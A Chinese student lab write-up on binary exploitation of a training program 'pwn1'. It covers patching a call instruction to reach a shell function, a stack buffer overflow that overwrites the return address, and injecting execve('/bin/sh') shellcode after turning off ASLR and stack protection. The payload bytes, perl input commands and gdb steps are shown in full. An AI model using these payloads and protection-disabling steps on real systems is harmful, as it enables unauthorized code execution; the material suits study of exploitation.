一、基础知识
1、部分指令的机器码
-
NOP : 0x90
-
JNE : 0x75
-
JE : 0x74
-
JMP : 0xEB (短跳转) ,0xE9 (近跳转) ,0xFF (远跳转)
-
CMP
CMP比较两个不同的寄存器,然后在内部EFLAGS寄存器中设置几个位,记录这些值是相同,更大还是更小。而是根据结果的不同来做适当的跳转,如下图:指令 意义 JE 如果等于则跳转 JNE 如果不等于则跳转 JL 如果小于则跳转 JLE 如果小于等于则跳转 JG 如果大于则跳转 JGE 如果大于等于则跳转
2、汇编基础知识
-
call 指令
call addr = push eip + jmp addr
-
ret 指令
ret = pop %eip
-
leave 指令
leave 相当于
movl %ebp, %esp
popl %ebp
- x86 汇编函数调用
1、在使用call
命令跳转前,我们需要先手动将函数参数入栈 。call
指令步骤中的push eip
,就是将返回地址入栈 。函数调用结束后,可以使用ret
命令(也可手动)将栈顶的返回地址弹入%eip
中,以实现返回主进程 。
2、在实际编写中,我们需要为函数分配一定的空间(存储运行时局部变量等),所以栈结构往往如下
3、函数调用模板
function:
push %ebp
mov %esp, %ebp
.
.
mov %ebp, %esp
pop %ebp // 这两步是为了释放栈空间,可以替换成 leave
ret
二、实验内容
1、直接修改程序机器指令,改变程序执行流程
下载 pwn1,使用 objdump -d pwn1 > re
命令反汇编,vim re,使用set nu设置行号
,关键代码如下
-
看第 185 行,其对应机器指令为
e8 d7ffffff
,e8即跳转之意。经过e8这条指令,CPU就会转而执行EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,0x80484ba + 0xd7ffffff = 0x80484ba - 0x29
正好是0x8048491
(foo 函数所在位置)这个值。 -
那我们想调用getShell,只要修改
d7ffffff
为0x0804847d(<getShell>地址) - 0x80484ba
对应的补码就行。 利用补码的性质,用 python 进行如下操作:
注意,我们采用的是小端模式,所以我们要将d7ffffff
改为c3ffffff
,如下:
vim pwn1
:%!xxd #进入16进制模式
/e8 d7 #注意e8 d7之间要有空格,否则查询不到
修改 d7 为 c3
:%!xxd -r #退出 16 进制模式
修改后的 pwn1
运行 ./pwn1
,可以得到shell
2、通过构造输入参数,造成BOF攻击,改变程序执行流
-
先看这幅图
我们的目的是向gets
函数传入一个值,这个值超出了程序给函数局部变量划分的缓冲区,覆盖了%ebp
和4(%ebp)
所指向的内容。而4(%ebp)
指向的内容正是返回地址,我们只要将返回地址覆盖为getShell
的地址,foo
函数调用结束后就会跳转至getShell
。 -
看一看
foo
函数的代码
mov %esp, %ebp
与 sub $0x38, %esp
为函数开辟了0x38
个字节的缓冲区。lea -0x1c(%ebp), %eax
是将一个指针传入%eax
,这个指针指向的位置是%ebp
指向的位置再向栈顶方向0x1c
个字节。mov %eax, (%esp)
是将%eax
中存储的指针赋值给栈顶的位置。call <gets@plt>
时,栈顶的内容(%eax中存储的指针)作为函数参数传给<gets>
函数,所以gets
函数能够使用的空间只有0x1c
个字节。
- 这样思路就很清楚了,
gets
接收的字符串要覆盖0x1c
个字节与%ebx
指向的4个字节,最后将返回地址覆盖为getShell
的地址。 - 我没有调试,直接按上述思路构造了
28 + 4
字节长度的字符串,再在末尾添加上getShell
的地址,如下
因为 '1' 都是按 Ascaii 码(8bit)存入内存的,所以 32 个 '1' 能在内存中占据32字节。再添加上getShell
的地址(字节字符串格式,要注意字节序)就行了。这里使用perl
语言 https://www.runoob.com/perl/perl-tutorial.html
成功获得shell(用很长时间linux了,但第一次看到这种写法,第二个不接参数的cat
是为了将进程阻塞住吗?)
三、注入Shellcode并执行
1、shellcode 入门
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char *buf[] = {"/bin/sh", NULL};
execve("/bin/sh", buf, 0);
exit(0);
}
以上是调用了系统函数execve
的 c 代码,编译运行可以进入shell。我一开始以为将这段代码编译成机器码,就成了一段 shellcode
。
但不行,还是得汇编,使用软中断int 0x80
,以下是最简单的shellcode
的反汇编代码。
可以看看学长的博客
2、实验准备
sudo apt install execstack
su root
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 // 查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
3、构造要注入的payload
- shellcode 直接使用指导书里的
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
- 有两种构造方式(这里的 retaddr 就是上文所说的“返回地址”)
- retaddr+nop+shellcode
- nop+shellcode+retaddr
我一开始感觉nop+shellcode+retaddr
靠谱一点,于是就按着这个思路去做,结果被坑死了……应该把实验指导完整看一遍再动手的。
实验指导上对nop+shellcode+retaddr
的解释是代码在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。下面内容使用retaddr+nop+shellcode
。
- payload 结构
其实思路和BOF攻击没什么区别,只是BOF将 retaddr 覆盖为getShell
函数的地址,而此payload 将 retaddr 覆盖为 shellcode 的地址。
结构如下(用perl 表述):
perl -e 'print "A" x 32; print "addr + nop + shellcode" '
32 个 'A' 使 shellcode 的地址恰巧覆盖retaddr
- 找到
nop + shellcode
在内存中的地址
先随意填上,再调试
perl -e 'print "A" x 32;print "x01x02x03x04x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
打开一个新的终端
ps -e | grep pwn1 //找到pwn1所在进程
gdb 调试进程
得到结果如下
0xffffd0ec
为 retaddr 所在的地址,所以要再加上 4,得到0xffffd0f0
,即为nop + shellcode
的地址。
- 获取shell
由上,容易得到 payload
perl -e 'print "A" x 32;print "xf0xd0xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
运行 (cat input_shellcode;cat) | ./pwn1
,得到结果
四、总结
1、实验收获和感想
作为小白,觉得这次实验还是比较难的,中途在几处卡住。一处是lea -0x1c(%ebp), %eax
,mov %eax, (%esp)
,我搞不明白这两步是怎么把gets
函数的缓冲区限制到 0x1c
字节的,系统地梳理了一下函数调用的知识后,才明白这两步是将指针传参给gets
。之后就是shellcode
,网上的例子多是32 位汇编,我 64位机器用as 编译各种报错,最后就看懂了文中贴的那个小例子,离实际运用还很远。
2、什么是漏洞,漏洞有什么危害
漏洞是在硬件、软件、协议等上存在的缺陷
漏洞可以使攻击者能够在未授权的情况下访问或破坏系统